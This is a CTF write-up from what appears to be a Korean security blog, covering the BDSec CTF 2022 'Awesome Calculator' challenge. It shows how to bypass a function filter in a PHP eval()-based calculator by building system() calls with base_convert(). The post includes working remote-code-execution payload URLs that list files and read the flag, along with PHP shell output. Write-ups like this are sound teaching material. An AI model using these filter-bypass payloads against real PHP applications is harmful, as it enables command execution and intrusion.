$ whoami
Home
  • 분류 전체보기 (123)
    • Exploit (10)
      • Tools (2)
      • Exploit (5)
      • Bug Bounty (3)
    • Wargame (84)
      • HackCTF (15)
      • XSS game (6)
      • Dreamhack (2)
      • Webhacking.kr (10)
      • XSS Challenges (8)
      • H4CKING GAME (2)
      • 정보보호영재교육원 (1)
      • Lord of SQL Injection (40)
    • CTF (29)
      • YISF 2022 (0)
      • CBHC 2022 (1)
      • HeroCTF v4 (2)
      • corCTF 2022 (2)
      • Aero CTF 2022 (0)
      • BDSec CTF 2022 (4)
      • San Diego CTF 2022 (5)
      • WACon 2022 Qualifier (1)
      • Cyber Conflict Exercise 202.. (4)
      • DiceCTF 2023 (1)
      • Incognito 4.0 (3)
      • BYUCTF 2023 (1)
      • DEF CON 31 (1)
      • 2023 HackTheon Sejong (1)
      • Cyber Conflict Exercise 202.. (2)
      • CDDC 2023 (1)
      • YISF 2023 (0)
    • Archive (0)
Home
  • 분류 전체보기 (123)
    • Exploit (10)
      • Tools (2)
      • Exploit (5)
      • Bug Bounty (3)
    • Wargame (84)
      • HackCTF (15)
      • XSS game (6)
      • Dreamhack (2)
      • Webhacking.kr (10)
      • XSS Challenges (8)
      • H4CKING GAME (2)
      • 정보보호영재교육원 (1)
      • Lord of SQL Injection (40)
    • CTF (29)
      • YISF 2022 (0)
      • CBHC 2022 (1)
      • HeroCTF v4 (2)
      • corCTF 2022 (2)
      • Aero CTF 2022 (0)
      • BDSec CTF 2022 (4)
      • San Diego CTF 2022 (5)
      • WACon 2022 Qualifier (1)
      • Cyber Conflict Exercise 202.. (4)
      • DiceCTF 2023 (1)
      • Incognito 4.0 (3)
      • BYUCTF 2023 (1)
      • DEF CON 31 (1)
      • 2023 HackTheon Sejong (1)
      • Cyber Conflict Exercise 202.. (2)
      • CDDC 2023 (1)
      • YISF 2023 (0)
    • Archive (0)
블로그 내 검색
CONTACT

HACKINTOANETWORK

SECURITY RESEARCHER, BUG HUNTER, HACKER

  • CTF/BDSec CTF 2022

    [BDSec CTF 2022] Awesome Calculator

    2022. 7. 22.

    by. hackintoanetwork

    이 문제는 대회 도중 갑자기 사라졌다(?)


    코드를 보면 eval()함수에서 취약점이 발생한다. (아쉽게 코드는 전부 날라갔다..)

    eval() 함수는 다른 함수를 실행할 수 있다는 취약점있다.

     

    기억상 필터링 때문에 바로 system()함수를 호출할 수 없고

    base_convert()함수를 필터링하고 있지 않아 base_convert() 함수로 우회하여 문제를 풀어야 했다.


    http://206.189.236.145:9001/?calculation=base_convert(1751504350,10,36)(base_convert(9911,10,28)(108).base_convert(9911,10,28)(115))    # system('ls')

    php > base_convert(1751504350,10,36);
    system
    php > echo base_convert(9911,10,28)(108);
    l		# letter l
    php > echo base_convert(9911,10,28)(115);
    s		# letter s

    http://206.189.236.145:9001/?calculation=base_convert(1751504350,10,36)(base_convert(9911,10,28)(99).base_convert(9911,10,28)(97).base_convert(9911,10,28)(116).base_convert(9911,10,28)(32).base_convert(9911,10,28)(102).base_convert(9911,10,28)(108).base_convert(9911,10,28)(97).base_convert(9911,10,28)(103).base_convert(9911,10,28)(46).base_convert(9911,10,28)(116).base_convert(9911,10,28)(120).base_convert(9911,10,28)(116))    # system('cat flag.txt')

    php > base_convert(1751504350,10,36);
    system
    php > echo base_convert(9911,10,28)(99);
    c		# letter c
    php > echo base_convert(9911,10,28)(97);
    a		# letter a
    php > echo base_convert(9911,10,28)(116);
    t		# letter t
    php > echo base_convert(9911,10,28)(32);
    		# Blank space
    php > echo base_convert(9911,10,28)(102);
    f		# letter f
    php > echo base_convert(9911,10,28)(108);
    l		# letter l
    php > echo base_convert(9911,10,28)(97);
    a		# letter a
    php > echo base_convert(9911,10,28)(103);
    g		# letter g
    php > echo base_convert(9911,10,28)(46);
    .		# letter .
    php > echo base_convert(9911,10,28)(116);
    t		# letter t
    php > echo base_convert(9911,10,28)(120);
    x		# letter x
    php > echo base_convert(9911,10,28)(116);
    t		# letter t
    Flag : BDSEC{aW3sOm3_c4LcUl4T1oN_iS_NoT_S4f3}

     

    Reference

     

    RCE with eval() + math functions in PHP

    Exploiting, attacking and learning

    www.hackvuln.com

     

     

    저작자표시 비영리 (새창열림)

    'CTF > BDSec CTF 2022' 카테고리의 다른 글

    [BDSec CTF 2022] Knight Squad Shop  (0) 2022.07.22
    [BDSec CTF 2022] Awesome Note Keeping  (0) 2022.07.22
    [BDSec CTF 2022] Jungle Templating  (0) 2022.07.22

    댓글

    관련글

    • [BDSec CTF 2022] Knight Squad Shop 2022.07.22
    • [BDSec CTF 2022] Awesome Note Keeping 2022.07.22
    • [BDSec CTF 2022] Jungle Templating 2022.07.22
    맨 위로
전체 글 보기
Tistory 로그인
Tistory 로그아웃
로그아웃 글쓰기 관리

Today

Total

Powered by hackintoanetwork

Designed by Nana
블로그 이미지
hackintoanetwork

티스토리툴바